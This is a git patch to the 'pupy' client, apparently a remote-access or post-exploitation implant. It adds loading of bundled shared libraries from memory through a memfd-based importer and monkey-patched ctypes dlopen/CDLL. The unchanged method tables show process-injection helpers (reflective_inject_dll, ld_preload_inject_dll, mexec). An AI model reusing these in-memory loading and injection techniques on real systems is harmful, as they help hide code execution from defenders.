From 5f78b6cbbe503a501bd025b2212bacce545f1383 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 21 Mar 2017 18:16:33 +0200 Subject: [PATCH] Add (initial) support for loading bundled libraries via ctypes --- client/sources-linux/pupy.c | 6 +- client/sources/Python-dynload.c | 7 +-- client/sources/pupy.c | 8 +-- pupy/packages/all/pupyimporter.py | 97 ++++++++++++++++++++++++++++++- 4 files changed, 102 insertions(+), 16 deletions(-) diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index 5ceb066a..83690036 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -221,9 +221,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args) printf("Py_load_dll(%s)\n", dllname); - if(memdlopen(dllname, lpDllBuffer, dwDllLenght)) - return PyBool_FromLong(1); - return PyBool_FromLong(0); + return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght)); } static PyObject *Py_mexec(PyObject *self, PyObject *args) @@ -290,7 +288,7 @@ static PyMethodDef methods[] = { { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, { "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" }, { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" }, - { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" }, + { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" }, { "mexec", Py_mexec, METH_VARARGS, "mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))" }, { "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" }, { NULL, NULL }, /* Sentinel */ diff --git a/client/sources/Python-dynload.c b/client/sources/Python-dynload.c index f191072e..be92c000 100644 --- a/client/sources/Python-dynload.c +++ b/client/sources/Python-dynload.c @@ -65,17 +65,14 @@ int _load_python_FromFile(char *dllname) return 1; } -int _load_dll(char *name, char *bytes){ +HMODULE _load_dll(char *name, char *bytes){ HMODULE hmod; ULONG_PTR cookie = 0; cookie = _My_ActivateActCtx(); hmod = MyLoadLibrary(name, bytes, NULL); - if (hmod == NULL) { - return 0; - } _My_DeactivateActCtx(cookie); - return 1; + return hmod; } int _load_msvcr90(char *bytes) diff --git a/client/sources/pupy.c b/client/sources/pupy.c index c6be961e..9834b983 100644 --- a/client/sources/pupy.c +++ b/client/sources/pupy.c @@ -78,12 +78,12 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args) DWORD dwPid; const char *lpDllBuffer; DWORD dwDllLenght; + const char *dllname; if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght)) return NULL; - if(_load_dll(dllname, lpDllBuffer)) - return PyBool_FromLong(1); - return PyBool_FromLong(0); + + return PyLong_FromVoidPtr(_load_dll(dllname, lpDllBuffer)); } static PyObject *Py_find_function_address(PyObject *self, PyObject *args) @@ -104,7 +104,7 @@ static PyMethodDef methods[] = { { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, { "get_modules", Py_get_modules, METH_NOARGS }, { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" }, - { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" }, + { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" }, { "find_function_address", Py_find_function_address, METH_VARARGS, "find_function_address(dllname, function) -> address" }, { NULL, NULL }, /* Sentinel */ diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py index 9745c6fa..63deb8d3 100644 --- a/pupy/packages/all/pupyimporter.py +++ b/pupy/packages/all/pupyimporter.py @@ -29,6 +29,7 @@ try: import _memimporter builtin_memimporter = True allow_system_packages = False + except ImportError: builtin_memimporter = False allow_system_packages = True @@ -78,8 +79,15 @@ except ImportError: unlink(name) def import_module(self, data, initfuncname, fullname, path): + self.load_library(data, fullname, dlopen=False) + + + def load_library(self, data, fullname, dlopen=True): fd = -1 closefd = True + + result = False + if self.memfd: fd = self.memfd() if fd != -1: @@ -91,7 +99,11 @@ except ImportError: try: write(fd, data) - imp.load_dynamic(fullname, name) + if dlopen: + result = CDLL(fullname) + else: + imp.load_dynamic(fullname, name) + result = True except: self.dir = None @@ -101,6 +113,8 @@ except ImportError: close(fd) unlink(name) + return result + _memimporter = MemImporter() builtin_memimporter = _memimporter.ready @@ -352,9 +366,12 @@ def unregister_package_request_hook(): global remote_load_package remote_load_package = None -def install(debug=False): +def install(debug=None): global __debug - __debug = debug + global modules + + if debug: + __debug = True if allow_system_packages: sys.path_hooks.append(PupyPackageFinder) @@ -373,6 +390,80 @@ def install(debug=False): '32bit' if pupy.get_arch() == 'x86' else '64bit', '' ) + import ctypes + import ctypes.util + import os + + ctypes._system_dlopen = ctypes._dlopen + ctypes.util._system_find_library = ctypes.util.find_library + + def pupy_make_path(name): + if 'pupy:' in name: + name = name[name.find('pupy:')+5:] + name = os.path.relpath(name) + name = '/'.join([ + x for x in name.split(os.path.sep) if x and not x in ( '.', '..' ) + ]) + + return name + + def pupy_find_library(name): + dprint("FIND LIBRARY: {}".format(name)) + if name in modules: + return name + else: + return ctypes.util._system_find_library(name) + + def pupy_dlopen(name, *args, **kwargs): + dprint("ctypes dlopen: {}".format(name)) + from_pupy = False + name = pupy_make_path(name) + dprint("ctypes dlopen / pupyized: {}".format(name)) + + if name in modules: + if hasattr(_memimporter, 'load_library'): + try: + return _memimporter.load_library(modules[name], name) + except: + pass + elif hasattr(pupy, 'load_dll'): + try: + return pupy.load_dll(name, modules[name]) + except: + pass + + if not from_pupy: + return ctypes._system_dlopen(name, *args, **kwargs) + + + if hasattr(pupy, 'find_function_address'): + ctypes.CDLL_ORIG = ctypes.CDLL + + class PupyCDLL(ctypes.CDLL_ORIG): + def __init__(self, name, **kwargs): + super(PupyCDLL, self).__init__(name, **kwargs) + self._FuncPtr_orig = self._FuncPtr + self._FuncPtr = self._find_function_address + self._name = pupy_make_path(self._name) + + def _find_function_address(self, search_tuple): + name, handle = search_tuple + dprint("PupyCDLL._find_function_address: {}".format(name)) + if not type(name) in (str, unicode): + return self._FuncPtr_orig(search_tuple) + else: + addr = pupy.find_function_address(self._name, name) + dprint("PupyCDLL._find_function_address: {} = {}".format(name, addr)) + if addr: + return self._FuncPtr_orig(addr) + else: + return self._FuncPtr_orig(search_tuple) + + ctypes.CDLL = PupyCDLL + + ctypes._dlopen = pupy_dlopen + ctypes.util.find_library = pupy_find_library + if 'win' in sys.platform: import pywintypes if __debug: